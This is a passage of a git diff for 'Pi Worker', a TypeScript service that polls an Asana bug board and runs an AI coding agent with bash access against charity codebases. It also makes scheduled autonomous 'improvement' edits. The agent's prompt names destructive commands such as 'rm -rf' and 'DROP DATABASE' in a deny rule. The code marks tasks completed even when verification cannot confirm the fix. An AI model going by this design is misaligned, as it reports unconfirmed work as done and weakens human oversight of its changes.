{@link HealthStatus} with live `uptime` | + * | GET | `/` | `200 text/plain` — simple alive message | + * | * | * | `404 Not Found` | + * + * @param port - TCP port to listen on. + * @returns The `Bun.Server` instance (rarely needed by callers). + */ +export function startHealthServer(port: number) { + const startTime = Date.now(); + + const server = Bun.serve({ + port, + fetch(req) { + const url = new URL(req.url); + + // Only allow safe read-only methods on this server. + if (req.method !== "GET" && req.method !== "HEAD") { + return new Response("Method Not Allowed", { + status: 405, + headers: { ...SECURITY_HEADERS, Allow: "GET, HEAD" }, + }); + } + + if (url.pathname === "/health") { + return Response.json( + { + ...healthStatus, + uptime: Math.floor((Date.now() - startTime) / 1000), + }, + { headers: SECURITY_HEADERS } + ); + } + + if (url.pathname === "/") { + return new Response("Pi Worker is running. GET /health for status.", { + headers: { ...SECURITY_HEADERS, "Content-Type": "text/plain" }, + }); + } + + return new Response("Not Found", { status: 404, headers: SECURITY_HEADERS }); + }, + }); + + logger.info("health", `Health server listening on :${port}`); + + // Start systemd watchdog after health server is up + startWatchdog(port); + + return server; +} diff --git a/pi-worker/src/index.ts b/pi-worker/src/index.ts new file mode 100644 index 0000000..9c33b54 --- /dev/null +++ b/pi-worker/src/index.ts @@ -0,0 +1,60 @@ +import { loadConfig } from "./config.js"; +import { initLogger, logger } from "./logger.js"; +import { TaskLoop } from "./scheduler/task-loop.js"; +import { ImprovementLoop } from "./scheduler/improvement-loop.js"; +import { startHealthServer, updateHealth } from "./health/server.js"; + +async function main() { + console.log(` +╔══════════════════════════════════════╗ +║ 🤖 Pi Worker v1.0.0 ║ +║ Autonomous Asana Task Executor ║ +║ & Project Improvement Agent ║ +╚══════════════════════════════════════╝ +`); + + // Load config + const config = loadConfig(); + initLogger(config.logDir); + + logger.info("main", "Configuration loaded", { + model: config.piModel, + pollInterval: `${config.pollIntervalSec}s`, + improvementInterval: `${config.improvementIntervalSec}s`, + targetProject: config.targetProjectPath, + healthPort: config.healthPort, + }); + + // Start health server + startHealthServer(config.healthPort); + updateHealth({ status: "ok" }); + + // Start task loop (Asana polling) + const taskLoop = new TaskLoop(config); + await taskLoop.start(); + updateHealth({ taskLoop: true }); + + // Start improvement loop (autonomous project fixes) + const improvementLoop = new ImprovementLoop(config); + await improvementLoop.start(); + updateHealth({ improvementLoop: true }); + + logger.info("main", "Pi Worker is fully operational 🚀"); + + // Graceful shutdown + const shutdown = () => { + logger.info("main", "Shutting down..."); + taskLoop.stop(); + improvementLoop.stop(); + updateHealth({ status: "degraded" }); + process.exit(0); + }; + + process.on("SIGINT", shutdown); + process.on("SIGTERM", shutdown); +} + +main().catch((error) => { + console.error("Fatal error:", error); + process.exit(1); +}); diff --git a/pi-worker/src/logger.ts b/pi-worker/src/logger.ts new file mode 100644 index 0000000..90ad3d1 --- /dev/null +++ b/pi-worker/src/logger.ts @@ -0,0 +1,36 @@ +import { mkdirSync, appendFileSync, existsSync } from "fs"; +import { join } from "path"; + +type LogLevel = "INFO" | "WARN" | "ERROR" | "DEBUG"; + +let logDir = "./logs"; + +export function initLogger(dir: string) { + logDir = dir; + if (!existsSync(logDir)) { + mkdirSync(logDir, { recursive: true }); + } +} + +function formatLog(level: LogLevel, component: string, message: string, data?: any): string { + const ts = new Date().toISOString(); + const base = `[${ts}] [${level}] [${component}] ${message}`; + return data ? `${base} ${JSON.stringify(data)}` : base; +} + +function log(level: LogLevel, component: string, message: string, data?: any) { + const line = formatLog(level, component, message, data); + console.log(line); + + try { + const logFile = join(logDir, `pi-worker-${new Date().toISOString().split("T")[0]}.log`); + appendFileSync(logFile, line + "\n"); + } catch {} +} + +export const logger = { + info: (component: string, message: string, data?: any) => log("INFO", component, message, data), + warn: (component: string, message: string, data?: any) => log("WARN", component, message, data), + error: (component: string, message: string, data?: any) => log("ERROR", component, message, data), + debug: (component: string, message: string, data?: any) => log("DEBUG", component, message, data), +}; diff --git a/pi-worker/src/pi/executor.ts b/pi-worker/src/pi/executor.ts new file mode 100644 index 0000000..4f481bf --- /dev/null +++ b/pi-worker/src/pi/executor.ts @@ -0,0 +1,271 @@ +import { spawn, type Subprocess } from "bun"; +import type { PiExecutionResult, PiEvent } from "./types.js"; +import { logger } from "../logger.js"; +import type { Config } from "../config.js"; + +const PI_TIMEOUT_MS = 10 * 60 * 1000; // 10 minutes max per task + +export class PiExecutor { + private config: Config; + private runningProcess: Subprocess | null = null; + + constructor(config: Config) { + this.config = config; + } + + async execute(task: string, context?: string, timeoutMs?: number, cwd?: string): Promise { + const startTime = Date.now(); + let output = ""; + let toolCalls = 0; + let apiError = ""; + + const fullPrompt = context ? `${context}\n\nTask: ${task}` : task; + + const args = [ + this.config.piBin, + "--mode", "json", + "-p", + "--no-extensions", + "--model", this.config.piModel, + "--tools", "bash,read,write,edit,grep,find,ls", + "--thinking", "off", + "--append-system-prompt", this.buildSystemPrompt(), + fullPrompt, + ]; + + const workingDir = cwd || this.config.targetProjectPath; + + logger.info("pi-executor", `Executing task: ${task.substring(0, 100)}...`, { + model: this.config.piModel, + cwd: workingDir, + }); + + try { + // Don't pass ANTHROPIC_API_KEY — Pi uses OAuth from ~/.pi/agent/auth.json + // Passing the API key overrides OAuth and may hit a depleted prepaid balance + const { ANTHROPIC_API_KEY: _removed, ...cleanEnv } = process.env; + + const proc = spawn({ + cmd: args, + cwd: workingDir, + stdout: "pipe", + stderr: "pipe", + env: cleanEnv, + }); + + this.runningProcess = proc; + + // Set timeout + const timeout = setTimeout(() => { + logger.warn("pi-executor", "Task timed out, killing process"); + proc.kill(); + }, timeoutMs || PI_TIMEOUT_MS); + + // Read stdout line by line + const reader = proc.stdout.getReader(); + const decoder = new TextDecoder(); + let buffer = ""; + + while (true) { + const { done, value } = await reader.read(); + if (done) break; + + buffer += decoder.decode(value, { stream: true }); + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + + for (const line of lines) { + if (!line.trim()) continue; + try { + const event: PiEvent = JSON.parse(line); + + if (event.type === "message_update" || event.type === "message_end") { + output += event.content || ""; + } + if (event.type === "tool_execution_start") { + toolCalls++; + } + // Detect API errors in the event stream (Pi exits 0 even on API errors) + const msg = event.message || event; + if (msg.errorMessage) { + apiError = msg.errorMessage; + logger.error("pi-executor", `API error in event stream: ${apiError}`); + } + if (msg.stopReason === "error" && !apiError) { + apiError = "Pi agent stopped with error (no details)"; + } + } catch { + // Not JSON, append as raw output + output += line + "\n"; + } + } + } + + clearTimeout(timeout); + const exitCode = await proc.exited; + this.runningProcess = null; + + // Read all stderr + let stderr = ""; + const stderrReader = proc.stderr.getReader(); + while (true) { + const { done: stderrDone, value: stderrValue } = await stderrReader.read(); + if (stderrDone) break; + stderr += decoder.decode(stderrValue, { stream: true }); + } + + if (exitCode !== 0) { + return { + success: false, + output: output || stderr, + toolCalls, + durationMs: Date.now() - startTime, + error: `Pi exited with code ${exitCode}: ${stderr}`, + }; + } + + // Treat API errors as failures even if exit code was 0 + if (apiError) { + return { + success: false, + output: output.substring(0, 10000), + toolCalls, + durationMs: Date.now() - startTime, + error: apiError, + }; + } + + return { + success: true, + output: output.substring(0, 10000), // Truncate output + toolCalls, + durationMs: Date.now() - startTime, + }; + } catch (error: any) { + this.runningProcess = null; + return { + success: false, + output: "", + toolCalls, + durationMs: Date.now() - startTime, + error: error.message, + }; + } + } + + // Execute with the full agent-team (dispatch model) + async executeWithAgentTeam(task: string, context?: string): Promise { + const startTime = Date.now(); + let output = ""; + let toolCalls = 0; + + const fullPrompt = context ? `${context}\n\nTask: ${task}` : task; + + const args = [ + this.config.piBin, + "--mode", "json", + "-p", + "-e", `${this.config.extensionsPath}/agent-team.ts`, + "-e", `${this.config.extensionsPath}/theme-cycler.ts`, + "--model", this.config.piModel, + "--thinking", "off", + fullPrompt, + ]; + + logger.info("pi-executor", `Executing with agent-team: ${task.substring(0, 100)}...`); + + try { + // Don't pass ANTHROPIC_API_KEY — Pi uses OAuth from ~/.pi/agent/auth.json + const { ANTHROPIC_API_KEY: _removed, ...cleanEnv } = process.env; + + const proc = spawn({ + cmd: args, + cwd: this.config.targetProjectPath, + stdout: "pipe", + stderr: "pipe", + env: cleanEnv, + }); + + this.runningProcess = proc; + + const timeout = setTimeout(() => { + proc.kill(); + }, PI_TIMEOUT_MS); + + const reader = proc.stdout.getReader(); + const decoder = new TextDecoder(); + let buffer = ""; + + while (true) { + const { done, value } = await reader.read(); + if (done) break; + + buffer += decoder.decode(value, { stream: true }); + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + + for (const line of lines) { + if (!line.trim()) continue; + try { + const event: PiEvent = JSON.parse(line); + if (event.type === "message_update" || event.type === "message_end") { + output += event.content || ""; + } + if (event.type === "tool_execution_start") { + toolCalls++; + } + } catch { + output += line + "\n"; + } + } + } + + clearTimeout(timeout); + const exitCode = await proc.exited; + this.runningProcess = null; + + return { + success: exitCode === 0, + output: output.substring(0, 10000), + toolCalls, + durationMs: Date.now() - startTime, + error: exitCode !== 0 ? `Exited with code ${exitCode}` : undefined, + }; + } catch (error: any) { + this.runningProcess = null; + return { + success: false, + output: "", + toolCalls, + durationMs: Date.now() - startTime, + error: error.message, + }; + } + } + + abort() { + if (this.runningProcess) { + this.runningProcess.kill(); + this.runningProcess = null; + } + } + + private buildSystemPrompt(): string { + return `You are Pi Worker — an autonomous DevOps and development agent running inside cr-server-new. +You work on the CharityRight ecosystem projects. You have full bash access. + +RULES: +- Always read relevant files before making changes +- Make small, focused changes +- Test your changes when possible (run linters, type checks) +- Never modify .env files or credentials +- Never run destructive commands (rm -rf, DROP DATABASE, etc) +- Commit your changes with clear commit messages +- If a task is unclear, document what you understood and what you did + +AVAILABLE PROJECTS: +- The current working directory contains the project code +- Use git to track all changes +- Write clear, maintainable code`; + } +} diff --git a/pi-worker/src/pi/types.ts b/pi-worker/src/pi/types.ts new file mode 100644 index 0000000..73a60ea --- /dev/null +++ b/pi-worker/src/pi/types.ts @@ -0,0 +1,32 @@ +export interface PiEvent { + type: string; + [key: string]: any; +} + +export interface PiMessageUpdate extends PiEvent { + type: "message_update"; + content: string; +} + +export interface PiToolCall extends PiEvent { + type: "tool_execution_start"; + tool_name: string; + tool_input: any; +} + +export interface PiAgentEnd extends PiEvent { + type: "agent_end"; +} + +export interface PiMessageEnd extends PiEvent { + type: "message_end"; + content: string; +} + +export interface PiExecutionResult { + success: boolean; + output: string; + toolCalls: number; + durationMs: number; + error?: string; +} diff --git a/pi-worker/src/scheduler/improvement-loop.ts b/pi-worker/src/scheduler/improvement-loop.ts new file mode 100644 index 0000000..5d9b320 --- /dev/null +++ b/pi-worker/src/scheduler/improvement-loop.ts @@ -0,0 +1,165 @@ +import { PiExecutor } from "../pi/executor.js"; +import { logger } from "../logger.js"; +import { FileLock } from "./lock.js"; +import type { Config } from "../config.js"; + +// Categories of autonomous improvements +const IMPROVEMENT_PROMPTS = [ + { + name: "code-quality", + prompt: `Analyze the project codebase for code quality issues. Look for: +- Unused imports or variables +- Inconsistent naming conventions +- Missing error handling +- Functions that are too long or complex +- Duplicated code that could be refactored +Fix the top 2-3 most impactful issues you find. Make small, focused changes.`, + }, + { + name: "documentation", + prompt: `Review the project documentation: +- Check if README.md is up to date +- Look for functions/modules missing JSDoc comments +- Check if API endpoints are documented +- Look for outdated or incorrect docs +Fix the most impactful documentation gap you find.`, + }, + { + name: "security", + prompt: `Perform a security review of the codebase: +- Check for hardcoded secrets or credentials +- Look for SQL injection vulnerabilities +- Check for missing input validation +- Review authentication/authorization logic +- Check for insecure dependencies +Report your findings and fix any non-breaking security issues.`, + }, + { + name: "type-safety", + prompt: `Review TypeScript type safety: +- Look for 'any' types that should be properly typed +- Check for missing null checks +- Look for type assertions that could be avoided +- Check for missing return type annotations +Fix the top 2-3 type safety issues.`, + }, + { + name: "error-handling", + prompt: `Review error handling across the project: +- Look for unhandled promise rejections +- Check for missing try/catch blocks +- Look for swallowed errors (empty catch blocks) +- Check if errors are properly logged +- Look for missing error boundaries in React components +Fix the most critical error handling gaps.`, + }, + { + name: "performance", + prompt: `Look for performance issues: +- N+1 query patterns in database calls +- Missing database indexes (check Prisma schema) +- Unnecessary re-renders in React components +- Large bundle imports that could be lazy-loaded +- Missing caching opportunities +Fix 1-2 performance issues if found.`, + }, + { + name: "testing", + prompt: `Review the test coverage: +- Identify critical untested code paths +- Check for test files with failing or skipped tests +- Look for integration test gaps +Write 1-2 new tests for the most critical untested functionality.`, + }, + { + name: "dependency-health", + prompt: `Check project dependencies: +- Look for outdated packages with known vulnerabilities +- Check for unused dependencies +- Look for duplicate dependencies +- Check if lockfile is in sync +Report findings and fix any safe-to-fix issues.`, + }, +]; + +export class ImprovementLoop { + private pi: PiExecutor; + private config: Config; + private lock: FileLock; + private running = false; + private timer: ReturnType | null = null; + private initialTimeout: ReturnType | null = null; + private currentIndex = 0; + + constructor(config: Config) { + this.config = config; + this.pi = new PiExecutor(config); + this.lock = new FileLock("improvement-loop"); + } + + async start() { + this.running = true; + logger.info("improvement-loop", "Starting autonomous improvement loop", { + interval: `${this.config.improvementIntervalSec}s`, + categories: IMPROVEMENT_PROMPTS.length, + }); + + // Wait a bit before first improvement (let task-loop take priority) + this.initialTimeout = setTimeout(() => { + if (this.running) this.runImprovement(); + }, 30_000); + + this.timer = setInterval( + () => this.runImprovement(), + this.config.improvementIntervalSec * 1000 + ); + } + + stop() { + this.running = false; + if (this.initialTimeout) { + clearTimeout(this.initialTimeout); + this.initialTimeout = null; + } + if (this.timer) { + clearInterval(this.timer); + this.timer = null; + } + this.pi.abort(); + this.lock.release(); + } + + private async runImprovement() { + if (!this.running) return; + if (!this.lock.acquire()) { + logger.debug("improvement-loop", "Skipping — another improvement in progress"); + return; + } + + const improvement = IMPROVEMENT_PROMPTS[this.currentIndex % IMPROVEMENT_PROMPTS.length]; + this.currentIndex++; + + try { + logger.info("improvement-loop", `Running improvement: ${improvement.name}`); + + const result = await this.pi.execute(improvement.prompt); + + if (result.success) { + logger.info("improvement-loop", `Improvement completed: ${improvement.name}`, { + toolCalls: result.toolCalls, + durationMs: result.durationMs, + }); + } else { + logger.warn("improvement-loop", `Improvement failed: ${improvement.name}`, { + error: result.error, + }); + } + } catch (error: any) { + logger.error("improvement-loop", `Improvement error: ${improvement.name}`, { + error: error.message, + }); + } finally { + this.lock.release(); + } + } +} diff --git a/pi-worker/src/scheduler/lock.ts b/pi-worker/src/scheduler/lock.ts new file mode 100644 index 0000000..499560e --- /dev/null +++ b/pi-worker/src/scheduler/lock.ts @@ -0,0 +1,118 @@ +import { writeFileSync, unlinkSync, readFileSync, existsSync } from "fs"; +import { join } from "path"; + +/** + * A simple file-based mutex used to prevent concurrent Pi CLI executions. + * + * The lock file stores the acquisition timestamp (milliseconds since epoch) + * as plain text. Any lock older than {@link STALE_LOCK_MS} is automatically + * treated as stale and removed, ensuring a crashed process can never + * permanently block future runs. + * + * Lock files are stored in `dir` (default `/tmp`) as + * `pi-worker-.lock`. + * + * @example + * ```ts + * const lock = new FileLock("task-loop"); + * if (!lock.acquire()) return; // another execution in progress + * try { + * await doWork(); + * } finally { + * lock.release(); + * } + * ``` + */ +export class FileLock { + private lockPath: string; + private held = false; + + /** Locks older than this (ms) are considered stale and are removed on the next acquire(). */ + private static readonly STALE_LOCK_MS = 15 * 60 * 1000; // 15 minutes + + /** + * @param name - Logical name for this lock (e.g. `"task-loop"`). + * Combined with the prefix to form the lock filename. + * @param dir - Directory in which to create the lock file. Defaults to `/tmp`. + */ + constructor(name: string, dir: string = "/tmp") { + this.lockPath = join(dir, `pi-worker-${name}.lock`); + } + + /** + * Attempts to acquire the lock. + * + * If a lock file already exists and is **not** stale, returns `false` + * immediately (non-blocking). Stale lock files are removed and the + * acquisition is retried once. + * + * Uses the `wx` (exclusive create) flag so that two processes racing to + * acquire the lock cannot both succeed. + * + * @returns `true` if the lock was acquired, `false` if it is already held. + */ + acquire(): boolean { + // Check for stale lock first + if (existsSync(this.lockPath)) { + try { + const content = readFileSync(this.lockPath, "utf-8"); + const lockTime = parseInt(content); + if (Date.now() - lockTime > FileLock.STALE_LOCK_MS) { + // Stale lock — remove it + try { unlinkSync(this.lockPath); } catch (e) { + process.stderr.write(`[lock] Failed to remove stale lock ${this.lockPath}: ${e}\n`); + } + } else { + return false; + } + } catch (e) { + // Corrupted lock file — remove it so we don't get permanently stuck + process.stderr.write(`[lock] Corrupted lock file ${this.lockPath}, removing: ${e}\n`); + try { unlinkSync(this.lockPath); } catch {} + } + } + + // Atomic create — fails with EEXIST if another process won the race + try { + writeFileSync(this.lockPath, Date.now().toString(), { flag: 'wx' }); + this.held = true; + return true; + } catch (e) { + const code = (e as NodeJS.ErrnoException).code; + if (code !== "EEXIST") { + // Unexpected error (permissions, disk full, etc.) — log it + process.stderr.write(`[lock] acquire failed for ${this.lockPath}: ${code || e}\n`); + } + return false; + } + } + + /** + * Releases the lock by deleting the lock file. + * + * Only deletes if this instance actually holds the lock. Safe to call + * even if the lock is not currently held (no-op in that case). + */ + release() { + if (!this.held) return; + try { + unlinkSync(this.lockPath); + } catch (e) { + // Suppress ENOENT — lock was already cleaned up (e.g. by stale detection) + if ((e as NodeJS.ErrnoException).code !== "ENOENT") { + process.stderr.write(`[lock] Failed to release lock ${this.lockPath}: ${e}\n`); + } + } finally { + this.held = false; + } + } + + /** + * Returns `true` if a lock file exists on disk (regardless of whether it + * is stale). Useful for diagnostics; prefer {@link acquire} for actual + * mutual-exclusion logic. + */ + isLocked(): boolean { + return existsSync(this.lockPath); + } +} diff --git a/pi-worker/src/scheduler/task-loop.ts b/pi-worker/src/scheduler/task-loop.ts new file mode 100644 index 0000000..c708307 --- /dev/null +++ b/pi-worker/src/scheduler/task-loop.ts @@ -0,0 +1,552 @@ +import { readdirSync, existsSync } from "fs"; +import { join } from "path"; +import { AsanaClient } from "../asana/client.js"; +import { PiExecutor } from "../pi/executor.js"; +import { logger } from "../logger.js"; +import { FileLock } from "./lock.js"; +import type { Config } from "../config.js"; +import type { AsanaTask, AsanaSection } from "../asana/types.js"; + +/** + * Section classification for the Bug Intake board. + * + * PICKUP = sections we actively pull tasks FROM to execute + * EXECUTE = "Under Review" / "In Progress" — where we move tasks during execution + * DONE = where completed tasks land + * SKIP = sections we never touch (deferred, won't fix) + */ +const SECTIONS = { + PICKUP: ["New Bugs", "Ready for Development"], + EXECUTE: ["Under Review", "In Progress"], + DONE: ["Resolved", "Done", "Complete", "Completed"], + SKIP: ["Deferred", "Won't Fix", "Awaiting More Info"], +}; + +/** + * Map of keywords in task names/notes → project directory names. + * Used to route tasks to the correct codebase for execution. + */ +const PROJECT_KEYWORDS: Record = { + "legacy-donation-system-laravel": [ + "laravel", "legacy", "donation system", "receipt", "email receipt", + "pledge", "donor", "donation", "fundrais", "campaign", "appeal", + "checkout", "payment", "stripe", "paypal", "gocardless", + "cross sell", "team page", "ben nevis", + ], + "charity-right-uk-v2": [ + "charity-right", "charityright", "website", "frontend", "next.js", + "nextjs", "landing", "home page", "UI", "layout", "styling", + ], + "checkout-v2": [ + "checkout-v2", "checkout v2", "new checkout", "payment flow", + ], + "donation-dashboard": [ + "dashboard", "admin", "analytics", "reporting", "reports", + "export", "data export", + ], + "command-center": [ + "command center", "command-center", "ops", "monitoring", + ], + "charityright-sync": [ + "sync", "n3o", "engage", "import", "county", "state", "mapping", + ], + "enthuse-db-sync-v2": [ + "enthuse", "enthuse sync", "db sync", + ], + "launchgood-sync": [ + "launchgood", "launch good", + ], + "marketing-site": [ + "marketing", "blog", "wordpress", "seo", "content", + ], +}; + +export class TaskLoop { + private asana: AsanaClient; + private pi: PiExecutor; + private config: Config; + private lock: FileLock; + private running = false; + private timer: ReturnType | null = null; + private userTaskListGid: string | null = null; + private workspaceGid: string = ""; + + // Cache: track tasks we already verified as "not done" to avoid re-checking + private verifiedNotDone: Map = new Map(); // gid → timestamp + private readonly VERIFY_CACHE_TTL = 30 * 60 * 1000; // 30 min + + // Cache: sections per project + private sectionCache: Map = new Map(); + private readonly SECTION_CACHE_TTL = 5 * 60 * 1000; // 5 min + + // Track consecutive failures to back off + private consecutiveFailures = 0; + private readonly MAX_BACKOFF_MULTIPLIER = 5; + + constructor(config: Config) { + this.config = config; + this.asana = new AsanaClient(config.asanaAccessToken); + this.pi = new PiExecutor(config); + this.lock = new FileLock("task-loop"); + } + + async start() { + this.running = true; + logger.info("task-loop", "Starting Asana task polling loop", { + interval: `${this.config.pollIntervalSec}s`, + project: this.config.asanaProjectGid, + projectsPath: this.getProjectsDir(), + }); + + if (!this.config.asanaProjectGid) { + await this.discoverProject(); + } + + // Log available projects for debugging + const projects = this.getAvailableProjects(); + logger.info("task-loop", `Available codebases: ${projects.join(", ") || "NONE"}`); + + await this.poll(); + this.timer = setInterval(() => this.poll(), this.config.pollIntervalSec * 1000); + } + + stop() { + this.running = false; + if (this.timer) { + clearInterval(this.timer); + this.timer = null; + } + this.pi.abort(); + this.lock.release(); + } + + // ─── Project resolution ────────────────────────────────────────────── + + private getProjectsDir(): string { + return join(this.config.targetProjectPath, this.config.projectsPath); + } + + private getAvailableProjects(): string[] { + const dir = this.getProjectsDir(); + if (!existsSync(dir)) return []; + return readdirSync(dir, { withFileTypes: true }) + .filter((d) => d.isDirectory() && !d.name.startsWith(".")) + .map((d) => d.name); + } + + /** + * Determine which project codebase a task should execute against. + * Returns the absolute path to the project directory, or the + * targetProjectPath as fallback. + */ + private resolveProjectForTask(task: AsanaTask): { projectDir: string; projectName: string } { + const searchText = `${task.name} ${task.notes || ""}`.toLowerCase(); + const available = this.getAvailableProjects(); + + // First: check if the task name contains a [project] tag (from improvement loop) + const tagMatch = task.name.match(/\[([^\]]+)\]/); + if (tagMatch) { + const tagName = tagMatch[1].toLowerCase().replace(/\s+/g, "-"); + const exact = available.find((p) => p.toLowerCase() === tagName); + if (exact) { + return { + projectDir: join(this.getProjectsDir(), exact), + projectName: exact, + }; + } + } + + // Second: keyword matching + let bestMatch: { project: string; score: number } | null = null; + + for (const [project, keywords] of Object.entries(PROJECT_KEYWORDS)) { + if (!available.includes(project)) continue; + let score = 0; + for (const keyword of keywords) { + if (searchText.includes(keyword.toLowerCase())) { + score += keyword.length; // Longer matches score higher + } + } + if (score > 0 && (!bestMatch || score > bestMatch.score)) { + bestMatch = { project, score }; + } + } + + if (bestMatch) { + return { + projectDir: join(this.getProjectsDir(), bestMatch.project), + projectName: bestMatch.project, + }; + } + + // Fallback: use the main project path + return { + projectDir: this.config.targetProjectPath, + projectName: "unknown", + }; + } + + // ─── Discovery ─────────────────────────────────────────────────────── + + private async discoverProject() { + try { + logger.info("task-loop", "No project GID configured, discovering..."); + const workspaces = await this.asana.getWorkspaces(); + + if (workspaces.length === 0) { + logger.error("task-loop", "No Asana workspaces found"); + return; + } + + for (const ws of workspaces) { + const projects = await this.asana.getProjects(ws.gid); + logger.info("task-loop", `Workspace "${ws.name}" has ${projects.length} project(s)`); + + if (projects.length > 0 && !this.config.asanaProjectGid) { + this.config.asanaProjectGid = projects[0].gid; + this.workspaceGid = ws.gid; + logger.info("task-loop", `Auto-selected project: ${projects[0].name} (${projects[0].gid})`); + } + } + + // Cache user task list + try { + const me = await this.asana.getMe(); + if (this.workspaceGid) { + const utl = await this.asana.getUserTaskList(me.gid, this.workspaceGid); + this.userTaskListGid = utl.gid; + logger.info("task-loop", `Cached user task list: ${utl.name} (${utl.gid})`); + } + } catch (error: any) { + logger.warn("task-loop", `Could not get user task list: ${error.message}`); + } + } catch (error: any) { + logger.error("task-loop", "Failed to discover Asana project", { error: error.message }); + } + } + + // ─── Main poll loop ────────────────────────────────────────────────── + + private async poll() { + if (!this.running || !this.config.asanaProjectGid) return; + if (!this.lock.acquire()) { + logger.debug("task-loop", "Skipping poll — another execution in progress"); + return; + } + + try { + // Step 1: Quick cleanup — move completed My Tasks to Done sections + await this.cleanupCompletedMyTasks(); + + // Step 2: Pick up tasks to execute + // Check PICKUP sections first (New Bugs, Ready for Development) + // Then check EXECUTE sections (Under Review) for tasks that haven't been attempted + logger.info("task-loop", "Polling for Asana tasks..."); + + let tasks = await this.getTasksFromSections(this.config.asanaProjectGid, SECTIONS.PICKUP); + + if (tasks.length === 0) { + // Also check Under Review — these are real bugs waiting for someone to fix them + tasks = await this.getTasksFromSections(this.config.asanaProjectGid, SECTIONS.EXECUTE); + + // Filter out tasks we recently attempted (check comments for Pi Worker activity) + if (tasks.length > 0) { + tasks = await this.filterUnatttemptedTasks(tasks); + } + } + + if (tasks.length === 0) { + logger.info("task-loop", "No pending tasks found"); + this.lock.release(); + return; + } + + // Pick the first task + const task = tasks[0]; + const { projectDir, projectName } = this.resolveProjectForTask(task); + logger.info("task-loop", `Picked task: "${task.name}"`, { + gid: task.gid, + project: projectName, + projectDir, + }); + + await this.executeTask(task, projectDir, projectName); + } catch (error: any) { + logger.error("task-loop", "Poll failed", { error: error.message }); + this.consecutiveFailures++; + } finally { + this.lock.release(); + } + } + + /** + * Filter out tasks that Pi Worker has already commented on (attempted). + * Prevents re-attempting failed tasks every cycle. + */ + private async filterUnatttemptedTasks(tasks: AsanaTask[]): Promise { + const unattempted: AsanaTask[] = []; + + for (const task of tasks) { + try { + const comments = await this.asana.getComments(task.gid); + const hasWorkerComment = comments.some( + (c) => c.text && c.text.includes("Pi Worker") + ); + if (!hasWorkerComment) { + unattempted.push(task); + } else { + logger.debug("task-loop", `Skipping already-attempted task: "${task.name}"`); + } + } catch { + // If we can't read comments, include the task + unattempted.push(task); + } + } + + return unattempted; + } + + // ─── Cleanup ───────────────────────────────────────────────────────── + + private async cleanupCompletedMyTasks() { + if (!this.userTaskListGid) return; + + try { + const myTasks = await this.asana.getUserTasks(this.userTaskListGid); + const completedTasks = myTasks.filter((t) => t.completed); + + if (completedTasks.length === 0) return; + + logger.info("task-loop", `Cleaning ${completedTasks.length} completed tasks from My Tasks`); + + for (const task of completedTasks) { + try { + if (task.memberships && task.memberships.length > 0) { + for (const membership of task.memberships) { + const projectGid = membership.project?.gid; + const currentSection = membership.section?.name?.toLowerCase() || ""; + + if (currentSection.includes("done") || currentSection.includes("resolved") || currentSection.includes("complete") || currentSection.includes("won't")) { + continue; + } + + if (projectGid) { + const doneSection = await this.findDoneSection(projectGid); + if (doneSection) { + await this.asana.moveTaskToSection(task.gid, doneSection.gid); + logger.info("task-loop", `Moved to ${doneSection.name}: ${task.name}`); + } + } + } + } + + await this.asana.updateTask(task.gid, { assignee_status: "later" }); + } catch (e: any) { + logger.debug("task-loop", `Could not clean task ${task.name}: ${e.message}`); + } + } + } catch (error: any) { + logger.warn("task-loop", `My Tasks cleanup error: ${error.message}`); + } + } + + // ─── Task execution ───────────────────────────────────────────────── + + private async executeTask(task: AsanaTask, projectDir: string, projectName: string) { + try { + // Step 1: Move to Under Review + const executeSection = await this.findFirstSection(this.config.asanaProjectGid, SECTIONS.EXECUTE); + if (executeSection) await this.asana.moveTaskToSection(task.gid, executeSection.gid); + + await this.asana.addComment( + task.gid, + `🤖 Pi Worker picked up this task.\nProject: \`${projectName}\`\nStarted: ${new Date().toISOString()}` + ); + + // Step 2: Build context with project awareness + const context = this.buildTaskContext(task, projectDir, projectName); + + // Step 3: Pull latest code + await this.gitPull(projectDir, projectName); + + // Step 4: Execute with Pi in the correct project directory + const result = await this.pi.execute( + task.name + (task.notes ? `\n\nDetails:\n${task.notes}` : ""), + context, + undefined, + projectDir, // Execute in the project directory + ); + + // Step 5: Post-verify + let verified = false; + if (result.success && result.toolCalls > 0) { + const postCheck = await this.verifyTaskDone(task, projectDir); + verified = postCheck.done; + } + + const statusEmoji = result.success ? (verified ? "✅" : "⚠️") : "❌"; + const verificationNote = result.success + ? (verified + ? "Post-execution verification: **PASSED**" + : "Post-execution verification: COULD NOT CONFIRM — please review manually") + : ""; + + const comment = [ + `${statusEmoji} Pi Worker ${result.success ? "completed" : "failed"} this task.`, + `Project: \`${projectName}\``, + verificationNote, + `Duration: ${(result.durationMs / 1000).toFixed(1)}s`, + `Tool calls: ${result.toolCalls}`, + result.error ? `Error: ${result.error}` : "", + "", + "Output (truncated):", + "```", + result.output.substring(0, 3000), + "```", + ].filter(Boolean).join("\n"); + + await this.asana.addComment(task.gid, comment); + + if (result.success) { + const doneSection = await this.findFirstSection(this.config.asanaProjectGid, SECTIONS.DONE); + if (doneSection) await this.asana.moveTaskToSection(task.gid, doneSection.gid); + await this.asana.updateTask(task.gid, { completed: true }); + logger.info("task-loop", `Task completed: ${task.name}`, { verified, project: projectName }); + this.consecutiveFailures = 0; + } else { + // Leave in Under Review — don't move back to New Bugs + // The filterUnattemptedTasks check will skip it on future polls + logger.error("task-loop", `Task failed: ${task.name}`, { error: result.error, project: projectName }); + this.consecutiveFailures++; + } + } catch (error: any) { + logger.error("task-loop", `Task execution error: ${task.name}`, { error: error.message }); + this.consecutiveFailures++; + try { + await this.asana.addComment(task.gid, `❌ Pi Worker crashed: ${error.message}`); + } catch {} + } + } + + private async verifyTaskDone(task: AsanaTask, projectDir: string): Promise<{ done: boolean; evidence: string }> { + try { + const verifyPrompt = `CHECK if this task is already done. Be FAST — spend max 30 seconds. +Do NOT fix anything. Do NOT make changes. Just check and report. + +Task: ${task.name} +${task.notes ? `Details: ${task.notes}` : ""} + +Quick checks only: +- ls and grep relevant files/dirs +- Check if a fix/feature is already in the code +- Check git log for recent relevant commits +- Check running services if relevant (curl localhost) +- Do NOT run find on large directories +- Do NOT clone repos or install anything + +RESPOND EXACTLY: +DONE: true or false +EVIDENCE: one line why`; + + const result = await this.pi.execute(verifyPrompt, undefined, 120_000, projectDir); + + if (!result.success) { + return { done: false, evidence: "Verification check failed to run" }; + } + + const output = result.output.trim(); + const doneMatch = output.match(/DONE:\s*(true|false)/i); + const evidenceMatch = 